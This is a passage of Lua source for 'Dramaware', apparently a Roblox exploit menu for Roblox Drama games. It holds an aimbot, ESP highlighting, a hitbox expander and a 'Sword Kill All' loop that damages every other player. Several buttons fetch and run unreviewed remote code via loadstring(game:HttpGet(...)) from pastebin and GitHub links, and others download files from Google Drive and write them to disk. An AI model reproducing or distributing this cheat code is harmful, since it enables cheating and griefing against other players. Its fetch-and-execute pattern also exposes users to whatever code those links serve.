removeHighlight_U(player)
removeHitboxExpansion(player)
if playerConnections_U[player] then
for _, conn in pairs(playerConnections_U[player]) do
conn:Disconnect()
end
playerConnections_U[player] = nil
end
end
local function getClosestTarget_U()
local closest, minDist = nil, Config.fov
if not LocalPlayer_U.Character or not LocalPlayer_U.Character:FindFirstChild("HumanoidRootPart") then return nil end
local params = RaycastParams.new()
params.FilterType = Enum.RaycastFilterType.Blacklist
params.FilterDescendantsInstances = {LocalPlayer_U.Character}
local center = Vector2.new(screenCenter_U.X, screenCenter_U.Y)
for player, _ in pairs(playerConnections_U) do
if player == LocalPlayer_U then continue end
local char = player.Character
local target = char and char:FindFirstChild(Config.aimPart)
local hum = char and char:FindFirstChildOfClass("Humanoid")
if target and hum and hum.Health > 0 then
local dist = (char.PrimaryPart.Position - LocalPlayer_U.Character.PrimaryPart.Position).Magnitude
if dist <= Config.maxDistance then
local screenPos, onScreen = Camera_U:WorldToViewportPoint(target.Position)
if onScreen then
local screenDist = (Vector2.new(screenPos.X, screenPos.Y) - center).Magnitude
if screenDist < minDist then
local visible = true
if Config.requireVisibility then
local result = workspace:Raycast(Camera_U.CFrame.Position, (target.Position - Camera_U.CFrame.Position).Unit * dist, params)
visible = not result or result.Instance:IsDescendantOf(char)
end
if visible then
minDist = screenDist
closest = target
end
end
end
end
end
end
return closest
end
Players_U.PlayerAdded:Connect(onPlayerAdded_U)
Players_U.PlayerRemoving:Connect(onPlayerRemoving_U)
for _, player in ipairs(Players_U:GetPlayers()) do
if player ~= LocalPlayer_U then onPlayerAdded_U(player) end
end
local lastTime_U = tick()
RunService_U.Heartbeat:Connect(function()
screenCenter_U = Vector2.new(Camera_U.ViewportSize.X / 2, Camera_U.ViewportSize.Y / 2)
local currentTime = tick()
local deltaTime = currentTime - lastTime_U
lastTime_U = currentTime
fovCircle.Visible = Config.aimbotEnabled
if Config.aimbotEnabled then
fovCircle.Position = screenCenter_U
fovCircle.Radius = Config.fov
end
if Config.aimbotEnabled and LocalPlayer_U.Character and LocalPlayer_U.Character:FindFirstChild("Head") then
local target = getClosestTarget_U()
if target then
local targetCFrame = CFrame.new(Camera_U.CFrame.Position, target.Position)
local smooth = 1 - math.exp(-Config.smoothness * deltaTime)
Camera_U.CFrame = Camera_U.CFrame:Lerp(targetCFrame, smooth)
end
end
end)
-- Universal Tab UI Controls
_utab:CreateSection("Combat")
_utab:CreateToggle({
Name = "Aimbot",
CurrentValue = false,
Flag = "UniversalAimbot",
Callback = function(Value)
Config.aimbotEnabled = Value
end,
})
_utab:CreateToggle({
Name = "ESP / Highlight",
CurrentValue = false,
Flag = "UniversalHighlight",
Callback = function(Value)
Config.highlightEnabled = Value
for _, p in ipairs(Players_U:GetPlayers()) do
if p ~= LocalPlayer_U then
if Value then applyHighlight_U(p) else removeHighlight_U(p) end
end
end
end,
})
_utab:CreateToggle({
Name = "Hitbox Expander",
CurrentValue = false,
Flag = "UniversalHitbox",
Callback = function(Value)
Config.hitboxEnabled = Value
for _, p in ipairs(Players_U:GetPlayers()) do
if p ~= LocalPlayer_U then
if Value then applyHitboxExpansion(p) else removeHitboxExpansion(p) end
end
end
end,
})
_utab:CreateToggle({
Name = "Require Visibility",
CurrentValue = false,
Flag = "UniversalRequireVisibility",
Callback = function(Value)
Config.requireVisibility = Value
end,
})
_utab:CreateSlider({
Name = "Aimbot Smoothness",
Range = {1, 100},
Increment = 1,
Suffix = "",
CurrentValue = 50,
Flag = "UniversalSmoothness",
Callback = function(Value)
Config.smoothness = Value
end,
})
_utab:CreateSlider({
Name = "Max Distance",
Range = {50, 1000},
Increment = 10,
Suffix = " studs",
CurrentValue = 500,
Flag = "UniversalMaxDistance",
Callback = function(Value)
Config.maxDistance = Value
end,
})
_utab:CreateSlider({
Name = "FOV Radius",
Range = {10, 500},
Increment = 5,
Suffix = " px",
CurrentValue = 150,
Flag = "UniversalFOV",
Callback = function(Value)
Config.fov = Value
fovCircle.Radius = Value
end,
})
_utab:CreateSlider({
Name = "Hitbox Size",
Range = {0, 10},
Increment = 0.5,
Suffix = "",
CurrentValue = 0.5,
Flag = "UniversalHitboxSize",
Callback = function(Value)
Config.hitboxSize = Value
end,
})
Config.aimPart = "Head"
-- velocity editor
local VE_Players = game:GetService("Players")
local VE_RunService = game:GetService("RunService")
local VE_UserInputService = game:GetService("UserInputService")
local VE_LocalPlayer = VE_Players.LocalPlayer
local VE_LedgeEnabled = false
local VE_LedgeReach = 0.5
local VE_lastClimbTime = 0
local VE_HeartbeatConn
local VE_JumpConn
local function VE_StartHeartbeat()
if VE_HeartbeatConn then VE_HeartbeatConn:Disconnect() end
VE_HeartbeatConn = VE_RunService.Heartbeat:Connect(function()
if not VE_LedgeEnabled then return end
local char = VE_LocalPlayer.Character
local hrp = char and char:FindFirstChild("HumanoidRootPart")
local hum = char and char:FindFirstChildOfClass("Humanoid")
if not hrp or not hum then return end
if hum.FloorMaterial ~= Enum.Material.Air then return end
if hum:GetState() == Enum.HumanoidStateType.Climbing then return end
if (tick() - VE_lastClimbTime) < 0.1 then return end
local forward = Vector3.new(hrp.CFrame.LookVector.X, 0, hrp.CFrame.LookVector.Z).Unit
local flatVel = Vector3.new(hrp.AssemblyLinearVelocity.X, 0, hrp.AssemblyLinearVelocity.Z)
if flatVel:Dot(forward) < 0.5 then return end
local params = RaycastParams.new()
params.FilterDescendantsInstances = {char}
params.FilterType = Enum.RaycastFilterType.Exclude
local wallRay = workspace:Raycast(hrp.Position, forward * VE_LedgeReach, params)
if not wallRay then return end
local distToWall = (Vector3.new(wallRay.Position.X, hrp.Position.Y, wallRay.Position.Z) - hrp.Position).Magnitude
local nativeRange = hrp.Size.Z / 2 + 0.6
if distToWall <= nativeRange then return end
local probeOrigin = Vector3.new(wallRay.Position.X, hrp.Position.Y + 3.5, wallRay.Position.Z)
local topRay = workspace:Raycast(probeOrigin, Vector3.new(0, -5, 0), params)
if not topRay then return end
local heightDiff = topRay.Position.Y - hrp.Position.Y
if heightDiff < -2.0 or heightDiff > 5.0 then return end
if topRay.Normal.Y < 0.7 then return end
local halfDepth = hrp.Size.Z / 2 + 0.05
local snapPos = wallRay.Position + wallRay.Normal * halfDepth
hrp.CFrame = CFrame.new(
Vector3.new(snapPos.X, hrp.Position.Y, snapPos.Z),
Vector3.new(snapPos.X, hrp.Position.Y, snapPos.Z) + forward
)
VE_lastClimbTime = tick()
end)
end
local function VE_StartJump()
if VE_JumpConn then VE_JumpConn:Disconnect() end
VE_JumpConn = VE_UserInputService.JumpRequest:Connect(function()
local char = VE_LocalPlayer.Character
local hum = char and char:FindFirstChildOfClass("Humanoid")
local hrp = char and char:FindFirstChild("HumanoidRootPart")
if not hum or not hrp then return end
if hum:GetState() == Enum.HumanoidStateType.Climbing then
if tick() - VE_lastClimbTime > 0.2 then
end
end
end)
end
VE_StartHeartbeat()
VE_StartJump()
-- misc
_utab:CreateSection("Misc")
_utab:CreateButton({
Name = "Shaders",
Callback = function()
local l = game:GetService("Lighting")
local t = workspace.Terrain
settings().Rendering.QualityLevel = Enum.QualityLevel.Level21
l.Technology = Enum.Technology.ShadowMap
l.ShadowSoftness = 0.15
l.ClockTime = 9
l.GeographicLatitude = 41.73
l.Brightness = 5
l.Ambient = Color3.fromRGB(70, 70, 70)
l.ColorShift_Top = Color3.fromRGB(255, 138, 35)
l.ColorShift_Bottom = Color3.fromRGB(0, 0, 0)
l.OutdoorAmbient = Color3.fromRGB(135, 135, 135)
l.GlobalShadows = true
l.EnvironmentDiffuseScale = 1
l.EnvironmentSpecularScale = 1
l.ExposureCompensation = 0
t.WaterReflectance = 0.08
t.WaterTransparency = 0.85
t.WaterWaveSize = 0.15
t.WaterWaveSpeed = 12
t.WaterColor = Color3.fromRGB(12, 84, 92)
local sky = Instance.new("Sky", l)
sky.SkyboxBk = "rbxassetid://271042516"
sky.SkyboxDn = "rbxassetid://271077243"
sky.SkyboxFt = "rbxassetid://271042556"
sky.SkyboxLf = "rbxassetid://271042310"
sky.SkyboxRt = "rbxassetid://271042467"
sky.SkyboxUp = "rbxassetid://271077958"
end,
})
_utab:CreateButton({
Name = "Infinite Yield",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/EdgeIY/infiniteyield/master/source"))()
end,
})
_utab:CreateButton({
Name = "Energize",
Callback = function()
loadstring(game:HttpGet("https://pastebin.com/raw/Cfeu2ZPc"))()
end,
})
_utab:CreateButton({
Name = "Fly V3",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/XNEOFF/FlyGuiV3/main/FlyGuiV3.txt"))()
end,
})
_utab:CreateButton({
Name = "Sound Panel",
Callback = function()
loadstring(game:HttpGet("https://pastebin.com/raw/w3uzjgEq"))()
end,
})
_utab:CreateDivider()
end
if isPractice then
local Window = Rayfield:CreateWindow({
Name = "Dramaware | discord.gg/bq2ah37FX",
LoadingTitle = "Dramaware (Practice)",
LoadingSubtitle = "made by kobi and irib",
Icon = "flame",
ShowText = "Dramaware",
Theme = loadTheme() or "Default",
DisableRayfieldPrompts = false,
DisableBuildWarnings = false,
MinimizeKey = Enum.KeyCode.LeftControl,
CustomUIStrings = {
["Rayfield"] = "Dramaware",
["Hide"] = "Hide",
["Show"] = "Show",
},
})
local InfoTab = Window:CreateTab("Practice", "info")
InfoTab:CreateSection("Practice")
InfoTab:CreateButton({
Name = "Fling/Restart Day (Reanimate)",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/robloxcheatck/reanimatescript/main/script.lua", true))()
end,
})
local _swordKillAllConn = nil
InfoTab:CreateToggle({
Name = "Sword Kill All",
CurrentValue = false,
Flag = "PracticeSwordKillAll",
Callback = function(Value)
if Value then
local char = player.Character
local hrp = char and char:FindFirstChild("HumanoidRootPart")
local oldCFrame = hrp and hrp.CFrame
game:GetService("ReplicatedStorage"):WaitForChild("Events"):WaitForChild("PracticeMap"):FireServer("Movies", "Beach")
if oldCFrame then
task.wait(0.5)
local newChar = player.Character
local newHrp = newChar and newChar:FindFirstChild("HumanoidRootPart")
if newHrp then
newHrp.CFrame = oldCFrame
end
end
task.spawn(function()
local backpack = player:WaitForChild("Backpack")
local tool = nil
local waited = 0
while waited < 3 do
for _, t in ipairs(backpack:GetChildren()) do
if t:IsA("Tool") then
tool = t
break
end
end
if tool then break end
task.wait(0.1)
waited = waited + 0.1
end
if tool then
local hum = player.Character and player.Character:FindFirstChildOfClass("Humanoid")
if hum then
hum:EquipTool(tool)
end
end
end)
local range = 1000000
_swordKillAllConn = game:GetService("RunService").RenderStepped:Connect(function()
local p = game.Players:GetPlayers()
for i = 2, #p do
local v = p[i].Character
if v and v:FindFirstChild("Humanoid") and v.Humanoid.Health > 0 and v:FindFirstChild("HumanoidRootPart") and player:DistanceFromCharacter(v.HumanoidRootPart.Position) <= range then
local tool = player.Character and player.Character:FindFirstChildOfClass("Tool")
if tool and tool:FindFirstChild("Handle") then
tool:Activate()
for _, part in next, v:GetChildren() do
if part:IsA("BasePart") then
firetouchinterest(tool.Handle, part, 0)
firetouchinterest(tool.Handle, part, 1)
end
end
end
end
end
end)
else
if _swordKillAllConn then
_swordKillAllConn:Disconnect()
_swordKillAllConn = nil
end
end
end,
})
InfoTab:CreateDivider()
local UniversalTab = Window:CreateTab("Universal", "globe")
_BuildUniversalTab(UniversalTab)
local ClientTab = Window:CreateTab("Visuals", "eye")
_G.SelectedFont = nil
_G.StaticColor = Color3.fromRGB(255, 182, 193)
_G.StaticColorCustom = false
_G.RainbowMode = false
_G.RainbowSpeed = 0.5
_G.CustomName = ""
_G.UseCustomName = false
ClientTab:CreateSection("Appearance")
ClientTab:CreateButton({
Name = "Fake #1 All Leaderboards",
Callback = function()
local Players = game:GetService("Players")
local player = Players.LocalPlayer
local avatarUrl = "https://www.roblox.com/headshot-thumbnail/image?userId=" .. player.UserId .. "&width=48&height=48&format=png"
local boards = {
workspace.Elements.MoviesWinLeaderboard,
workspace.Elements.CampWinLeaderboard,
workspace.Elements.ExpeditionWinLeaderboard
}
for _, board in pairs(boards) do
local scrollFrame = board.SurfaceGui.ScrollingFrame
for _, frame in pairs(scrollFrame:GetChildren()) do
if frame:IsA("Frame") then
local placeLabel = frame:FindFirstChild("Image") and frame.Image:FindFirstChild("Place")
if placeLabel and placeLabel.Text == "1" then
frame.PName.Text = player.Name
frame.Image.Image = avatarUrl
break
end
end
end
end
end,
})
ClientTab:CreateButton({
Name = "Apply Starborn Font",
Callback = function()
local _sfHttp = game:GetService("HttpService")
local _sfTTF = "starborn.ttf"
local _sfJSON = "Starborn.json"
local _sfURL = "https://drive.google.com/uc?export=download&id=1k9H8G60p7iaJL4hHcyWEXgWJbONqam8_"
local _sfMult = 0.6
local _sfBlacklist = {
"Chat", "BubbleChat", "ChatChannelParentFrame", "MessageLogDisplay",
"DevConsoleMaster", "DeveloperConsole", "RobloxGui", "RobloxPromptGui",
"PlayerList", "StatLabel", "StatusText"
}
local function _sfApply(obj)
if not (obj:IsA("TextLabel") or obj:IsA("TextButton") or obj:IsA("TextBox")) then return end
if obj:FindFirstAncestorOfClass("CoreGui") or obj:FindFirstAncestor("RobloxGui") then return end
for _, name in ipairs(_sfBlacklist) do
if obj.Name == name or obj:FindFirstAncestor(name) then return end
end
obj.FontFace = Font.new(getcustomasset(_sfJSON))
if not obj:GetAttribute("FontScaledV2") then
if obj.TextSize > 0 then
obj.TextSize = math.clamp(obj.TextSize * _sfMult, 8, 100)
end
obj:SetAttribute("FontScaledV2", true)
end
end
if not isfile(_sfTTF) then
writefile(_sfTTF, game:HttpGet(_sfURL))
end
writefile(_sfJSON, _sfHttp:JSONEncode({
name = "Starborn",
faces = {{name = "Regular", weight = 400, style = "normal", assetId = getcustomasset(_sfTTF)}}
}))
for _, d in pairs(game:GetDescendants()) do pcall(_sfApply, d) end
game.DescendantAdded:Connect(function(d)
task.wait(0.1)
pcall(_sfApply, d)
end)
Rayfield:Notify({
Title = "Font Applied",
Content = "Starborn font has been applied!",
Duration = 4,
Image = "type",
})
end,
})
ClientTab:CreateButton({
Name = "Apply Minecraft Font",
Callback = function()
local _mcHttp = game:GetService("HttpService")
local _mcTTF = "minecrafter.ttf"
local _mcJSON = "Minecrafter.json"
local _mcURL = "https://drive.google.com/uc?export=download&id=1_LSZQUGrKHzJctxK7Jp8rVRRVWIvdif4"
local _mcMult = 0.6
local function _mcApply(obj)
if not (obj:IsA("TextLabel") or obj:IsA("TextButton") or obj:IsA("TextBox")) then return end
if obj:FindFirstAncestorOfClass("CoreGui") or obj:FindFirstAncestor("RobloxGui") then return end
obj.FontFace = Font.new(getcustomasset(_mcJSON))
if not obj:GetAttribute("FontScaledMC") then
obj.TextSize = math.clamp(obj.TextSize * _mcMult, 8, 100)
obj:SetAttribute("FontScaledMC", true)
end
end
if not isfile(_mcTTF) then
writefile(_mcTTF, game:HttpGet(_mcURL))
end
writefile(_mcJSON, _mcHttp:JSONEncode({
name = "Minecrafter",
faces = {{name = "Regular", weight = 400, style = "normal", assetId = getcustomasset(_mcTTF)}}
}))
for _, d in pairs(game:GetDescendants()) do pcall(_mcApply, d) end
game.DescendantAdded:Connect(function(d)
task.wait(0.1)
pcall(_mcApply, d)
end)
Rayfield:Notify({
Title = "Font Applied",
Content = "Minecraft font has been applied!",
Duration = 4,
Image = "type",
})
end,
})
ClientTab:CreateInput({
Name = "Custom Name",
PlaceholderText = "Enter name here...",
RemoveTextAfterFocusLost = false,
Callback = function(Text)
_G.CustomName = Text
_G.UseCustomName = (Text ~= "")
end,
})
ClientTab:CreateToggle({
Name = "VIP Name Tag",
CurrentValue = false,
Flag = "VIPNameTagPractice",
Callback = function(Value)
local player = game.Players.LocalPlayer
local char = player.Character
if not char then return end
local head = char:FindFirstChild("Head")
if not head then return end
local playerName = head:FindFirstChild("playerName")
if not playerName then return end
local vip = playerName:FindFirstChild("VIP")
if vip then
vip.Visible = Value
for _, v in ipairs(vip:GetDescendants()) do
if v:IsA("GuiObject") then v.Visible = Value end
end
end
for _, v in ipairs(playerName:GetDescendants()) do
if v:IsA("TextLabel") or v:IsA("TextButton") then
if Value then
if not _G.VIPOrigColors then _G.VIPOrigColors = {} end
if not _G.VIPOrigColors[v] then _G.VIPOrigColors[v] = v.TextColor3 end
v.TextColor3 = Color3.fromRGB(255, 165, 0)
else
if _G.VIPOrigColors and _G.VIPOrigColors[v] then
v.TextColor3 = _G.VIPOrigColors[v]
_G.VIPOrigColors[v] = nil
end
end
end
end
end,
})
ClientTab:CreateToggle({
Name = "Rainbow Effect",
CurrentValue = false,
Flag = "RainbowToggle",
Callback = function(Value)
_G.RainbowMode = Value
end,
})
ClientTab:CreateColorPicker({
Name = "Static Color",
Color = Color3.fromRGB(255, 182, 193),
Flag = "ColorPicker",
Callback = function(Value)
_G.StaticColor = Value
_G.StaticColorCustom = true
end
})
ClientTab:CreateDropdown({
Name = "UI Theme",
Options = {"Default", "AmberGlow", "Amethyst", "Bloom", "DarkBlue", "Green", "Light", "Ocean", "Serenity"},
CurrentOption = {"DarkBlue"},
MultipleOptions = false,
Flag = "ThemeDropdown",
Callback = function(option)
Window.ModifyTheme(option[1])
saveTheme(option[1])
end,
})
ClientTab:CreateDivider()
game:GetService("RunService").RenderStepped:Connect(function()
local char = game.Players.LocalPlayer.Character
if not char then return end
for _, obj in ipairs(char:GetDescendants()) do
if obj:IsA("TextLabel") or obj:IsA("TextButton") then
if _G.UseCustomName and _G.CustomName ~= "" then
obj.Text = _G.CustomName
end
if _G.RainbowMode then
local hue = (tick() * _G.RainbowSpeed) % 1
obj.TextColor3 = Color3.fromHSV(hue, 0.6, 1)
elseif _G.StaticColorCustom then
obj.TextColor3 = _G.StaticColor
end
obj.TextStrokeTransparency = 0.5
obj.BackgroundTransparency = 1
end
end
end)
return
end
local Window = Rayfield:CreateWindow({
Name = "Dramaware | discord.gg/bq2ah37FX",
LoadingTitle = "Dramaware (" .. (isCamp and "Camp" or isMovies and "Movies" or isExpedition and "Expedition" or "Unknown") .. ")",
LoadingSubtitle = "made by kobi and irib",
Icon = "flame",
ShowText = "Dramaware",
Theme = loadTheme() or "Default",
DisableRayfieldPrompts = false,
DisableBuildWarnings = false,
MinimizeKey = Enum.KeyCode.LeftControl,
CustomUIStrings = {
["Rayfield"] = "Dramaware",
["Hide"] = "Hide",
["Show"] = "Show"
},
ConfigurationSaving = {
Enabled = true,
FolderName = "DramaWare",
FileName = "Config"
},
})
local MainTab = Window:CreateTab("Main", "star")
local ChallengesTab = Window:CreateTab("Challenges", "trophy")
local AutoplayTab = Window:CreateTab("Autoplay", "play")
local CharactersTab = Window:CreateTab("Characters", "shirt")
local UniversalTab = Window:CreateTab("Universal", "globe")
local ToolsTab = Window:CreateTab("Tools", "wrench")
local ClientTab = Window:CreateTab("Visuals", "eye")
local SettingsTab = Window:CreateTab("Settings", "settings")
for _, _tab in ipairs({MainTab, ChallengesTab, AutoplayTab, CharactersTab, UniversalTab, ToolsTab, ClientTab, SettingsTab}) do
DramaWare_PatchTab(_tab)
end
local autoWinObby = false
local voteConn = nil
local juryVoteConns = nil
local printVotesConn = nil
local exposeVotesConn = nil
local playerHighlight = nil
local rainbowNameConn = nil
local function grabStatue(v)
v.hit.CanCollide = false
v.hit.Transparency = 1
wait()
v.hit.Position = player.Character.Torso.Position
end
SettingsTab:CreateSection("UI")
SettingsTab:CreateLabel("Toggle the UI with K (changeable in Rayfield's own Settings tab).", "keyboard")
SettingsTab:CreateDropdown({
Name = "UI Theme",
Options = {"Default", "AmberGlow", "Amethyst", "Bloom", "DarkBlue", "Green", "Light", "Ocean", "Serenity"},
CurrentOption = {"DarkBlue"},
MultipleOptions = false,
Flag = "ThemeDropdown",
Callback = function(option)
Window.ModifyTheme(option[1])
saveTheme(option[1])
end,
})
ClientTab:CreateSection("Client Sided Visuals")
ClientTab:CreateLabel("Skin Changer + Custom Skin Builder added + moved to Characters tab", "shirt")
-- client sided gears
local function equipGear(toolName)
local _gearPlayer = game:GetService("Players").LocalPlayer
local _gearChar = _gearPlayer.Character or _gearPlayer.CharacterAdded:Wait()
local _gearHuman = _gearChar:WaitForChild("Humanoid")
local _gearFolder = game:GetService("ReplicatedStorage").Products:FindFirstChild("Gear")
if not _gearFolder then warn("[DramaWare] Gear folder not found!") return end
local _gearTool = _gearFolder:FindFirstChild(toolName)
if not _gearTool then warn("[DramaWare] Tool not found: " .. toolName) return end
local _gearClone = _gearTool:Clone()
_gearClone.Parent = _gearPlayer.Backpack
_gearHuman:EquipTool(_gearClone)
end
ClientTab:CreateDropdown({
Name = "Client Sided Gears",
Options = {"Sword", "Dodgeball", "PaintballGun", "Meatball", "Snowball", "Pool Noodle", "Sheriff", "Key"},
CurrentOption = {},
MultipleOptions = false,
Flag = "GearDropdown",
Callback = function(selected)
if selected and selected[1] and selected[1] ~= "" then
equipGear(selected[1])
end
end,
})
ClientTab:CreateButton({
Name = "Player Collision",
Callback = function()
LP = game.Players.LocalPlayer
for i,v in pairs(game.Players:GetDescendants()) do
if v:IsA("Player") and workspace:FindFirstChild(v.Name) and v ~= LP and workspace[v.Name]:FindFirstChild("CHECKER") == nil then
local checker = Instance.new("BoolValue", workspace[v.Name])
checker.Name = "CHECKER"
for i,v in pairs(workspace:WaitForChild(v.Name):GetDescendants()) do
if v:IsA("Part") or v:IsA("MeshPart") then
local collider = Instance.new("Part", v)
collider.Size = v.Size
collider.Position = v.Position
collider.Transparency = 1
local weld = Instance.new("Weld", v)
weld.Part0 = v
weld.Part1 = collider
end
end
end
end
end,
})
ClientTab:CreateButton({
Name = "Apply Starborn Font",
Callback = function()
local _sfHttp = game:GetService("HttpService")
local _sfTTF = "starborn.ttf"
local _sfJSON = "Starborn.json"
local _sfURL = "https://drive.google.com/uc?export=download&id=1k9H8G60p7iaJL4hHcyWEXgWJbONqam8_"
local _sfMult = 0.6
local _sfBlacklist = {
"Chat", "BubbleChat", "ChatChannelParentFrame", "MessageLogDisplay",
"DevConsoleMaster", "DeveloperConsole", "RobloxGui", "RobloxPromptGui",
"PlayerList", "StatLabel", "StatusText"
}
local function _sfApply(obj)
if not (obj:IsA("TextLabel") or obj:IsA("TextButton") or obj:IsA("TextBox")) then return end
if obj:FindFirstAncestorOfClass("CoreGui") or obj:FindFirstAncestor("RobloxGui") then return end
for _, name in ipairs(_sfBlacklist) do
if obj.Name == name or obj:FindFirstAncestor(name) then return end
end
obj.FontFace = Font.new(getcustomasset(_sfJSON))
if not obj:GetAttribute("FontScaledV2") then
if obj.TextSize > 0 then
obj.TextSize = math.clamp(obj.TextSize * _sfMult, 8, 100)
end
obj:SetAttribute("FontScaledV2", true)
end
end
if not isfile(_sfTTF) then
writefile(_sfTTF, game:HttpGet(_sfURL))
end
writefile(_sfJSON, _sfHttp:JSONEncode({
name = "Starborn",
faces = {{name = "Regular", weight = 400, style = "normal", assetId = getcustomasset(_sfTTF)}}
}))
for _, d in pairs(game:GetDescendants()) do pcall(_sfApply, d) end
game.DescendantAdded:Connect(function(d)
task.wait(0.1)
pcall(_sfApply, d)
end)
Rayfield:Notify({
Title = "Font Applied",
Content = "Starborn font has been applied!",
Duration = 4,
Image = "type",
})
end,
})
ClientTab:CreateButton({
Name = "Apply Minecraft Font",
Callback = function()
local _mcHttp = game:GetService("HttpService")
local _mcTTF = "minecrafter.ttf"
local _mcJSON = "Minecrafter.json"
local _mcURL = "https://drive.google.com/uc?export=download&id=1_LSZQUGrKHzJctxK7Jp8rVRRVWIvdif4"
local _mcMult = 0.6
local function _mcApply(obj)
if not (obj:IsA("TextLabel") or obj:IsA("TextButton") or obj:IsA("TextBox")) then return end
if obj:FindFirstAncestorOfClass("CoreGui") or obj:FindFirstAncestor("RobloxGui") then return end
obj.FontFace = Font.new(getcustomasset(_mcJSON))
if not obj:GetAttribute("FontScaledMC") then
obj.TextSize = math.clamp(obj.TextSize * _mcMult, 8, 100)
obj:SetAttribute("FontScaledMC", true)
end
end
if not isfile(_mcTTF) then
writefile(_mcTTF, game:HttpGet(_mcURL))
end
writefile(_mcJSON, _mcHttp:JSONEncode({
name = "Minecrafter",
faces = {{name = "Regular", weight = 400, style = "normal", assetId = getcustomasset(_mcTTF)}}
}))
for _, d in pairs(game:GetDescendants()) do pcall(_mcApply, d) end
game.DescendantAdded:Connect(function(d)
task.wait(0.1)
pcall(_mcApply, d)
end)
Rayfield:Notify({
Title = "Font Applied",
Content = "Minecraft font has been applied!",
Duration = 4,
Image = "type",
})
end,
})
ClientTab:CreateToggle({
Name = "Show All Usernames",
CurrentValue = false,
Flag = "ShowUsernames",
Callback = function(Value)
local Players = game:GetService("Players")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local Teams = game:GetService("Teams")
local function getPlayerTeamColor(player)
local playerData = ReplicatedStorage:FindFirstChild("Season")
and ReplicatedStorage.Season:FindFirstChild("Players")
and ReplicatedStorage.Season.Players:FindFirstChild(player.Name)
if not playerData then return Color3.fromRGB(169, 169, 169) end
local teamName = playerData:FindFirstChild("Team") and playerData.Team.Value
if not teamName then return Color3.fromRGB(169, 169, 169) end
local team = Teams:FindFirstChild(teamName)
return team and team.TeamColor.Color or Color3.fromRGB(169, 169, 169)
end
local function applyNameTag(player)
local character = player.Character
if not character then return end
local head = character:FindFirstChild("Head")
if not head then return end
local old = head:FindFirstChild("UsernameTag")
if old then old:Destroy() end
local tag = Instance.new("BillboardGui")
tag.Name = "UsernameTag"
tag.Adornee = head
tag.Size = UDim2.new(0, 120, 0, 20)
tag.StudsOffset = Vector3.new(0, 3, 0)
tag.AlwaysOnTop = true
tag.Parent = head
local text = Instance.new("TextLabel")
text.Size = UDim2.new(1, 0, 1, 0)
text.BackgroundTransparency = 1
text.Text = player.Name
text.TextScaled = true
text.Font = Enum.Font.GothamMedium
text.TextColor3 = getPlayerTeamColor(player)
text.TextStrokeTransparency = 0.5
text.Parent = tag
end
if Value == true then
_G.UsernameTagConns = {}
for _, player in ipairs(Players:GetPlayers()) do
applyNameTag(player)
local conn = player.CharacterAdded:Connect(function()
task.wait(0.1)
applyNameTag(player)
end)
table.insert(_G.UsernameTagConns, conn)
end
local addedConn = Players.PlayerAdded:Connect(function(player)
local conn = player.CharacterAdded:Connect(function()
task.wait(0.1)
applyNameTag(player)
end)
table.insert(_G.UsernameTagConns, conn)
end)
table.insert(_G.UsernameTagConns, addedConn)
elseif Value == false then
if _G.UsernameTagConns then
for _, conn in ipairs(_G.UsernameTagConns) do
conn:Disconnect()
end
_G.UsernameTagConns = {}
end
for _, player in ipairs(Players:GetPlayers()) do
local character = player.Character
if not character then continue end
local head = character:FindFirstChild("Head")
if head then
local old = head:FindFirstChild("UsernameTag")
if old then old:Destroy() end
end
end
end
end,
})
ClientTab:CreateButton({
Name = "Halloween Map",
Callback = function()
loadstring(game:HttpGet('https://pastebin.com/raw/nVKRChaK'))()
end,
})
if isCamp then
ClientTab:CreateButton({
Name = "Christmas Map",
Callback = function()
loadstring(game:HttpGet('https://pastebin.com/raw/ju6mhwzn'))()
end,
})
ClientTab:CreateButton({
Name = "Valentines Map",
Callback = function()
local winterColor = Color3.fromRGB(255, 152, 220)
local greenColor = Color3.fromRGB(148, 190, 129)
for _, obj in ipairs(workspace:GetDescendants()) do
if obj:IsA("BasePart") then
local bcName = obj.BrickColor.Name:lower()
if bcName == "olivine" or bcName:find("green") then
obj.Color = greenColor
obj.Material = Enum.Material.SmoothPlastic
end
end
if obj:IsA("MeshPart") and obj.Name == "Leaves" then
obj.Color = winterColor
obj.Material = Enum.Material.SmoothPlastic
end
end
local bgMountains = workspace.Map["Roblox Drama: Camp"].Map.Mountains["Background Mountains"]
for _, v in pairs(bgMountains:GetDescendants()) do
if v:IsA("MeshPart") and v.Name == "MeshPart" then
if v.BrickColor == BrickColor.new("Grime") then
v.Color = winterColor
v.Material = Enum.Material.SmoothPlastic
end
end
if v:IsA("MeshPart") and v.Name == "Water" then
if v.BrickColor == BrickColor.new("Bright bluish green") then
v.Color = winterColor
v.Material = Enum.Material.Glass
end
end
end
local lakeWater = workspace.Map["Roblox Drama: Camp"].Map.Lake:FindFirstChild("Water")
if lakeWater and lakeWater:IsA("MeshPart") then
lakeWater.Color = winterColor
lakeWater.Material = Enum.Material.Glass
end
end,
})
local rs = game:GetService("ReplicatedStorage")
local ws = game:GetService("Workspace")
local elimFolder = ws:WaitForChild("ElimMethod")
local sleighTemplate = rs.Products.ElimMethods.Camp["Sleigh Elimination"]
local isResetting = false
local isPlaying = false
local cooldown = false
local boatBackup = nil
local function isEliminationModel(v)
if not v:IsA("Model") then return false end
local n = v.Name:lower()
return (
n:find("boat") or n:find("toilet") or n:find("cart")
or n:find("rocket") or n:find("cannon") or n:find("elimination")
)
end
local function playEffects(clone)
for _, v in pairs(clone:GetDescendants()) do
if v:IsA("BasePart") then
v.Anchored = true
end
if v:IsA("ParticleEmitter") then
v.Enabled = true
end
if v:IsA("PointLight") then
v.Enabled = true
end
end
local tp = clone:FindFirstChild("TELEPORT", true)
local flySpots = clone:FindFirstChild("FlySpots", true)
if flySpots then
local spots = flySpots:GetChildren()
table.sort(spots, function(a, b)
return tonumber(a.Name) > tonumber(b.Name)
end)
task.spawn(function()
if tp then
clone:PivotTo(tp.CFrame)
task.wait(0.1)
end
for _, spot in pairs(spots) do
local startCF = clone:GetPivot()
local endCF = spot.CFrame
local dist = (startCF.Position - endCF.Position).Magnitude
local speed = 25
local travelTime = dist / speed
local elapsed = 0
while elapsed < travelTime do
local dt = task.wait(0.03)
elapsed = elapsed + dt
local alpha = math.clamp(elapsed / travelTime, 0, 1)
clone:PivotTo(startCF:Lerp(endCF, alpha))
end
end
isResetting = true
clone:Destroy()
if boatBackup then
local defaultClone = boatBackup:Clone()
defaultClone.Name = "Boat Elimination"
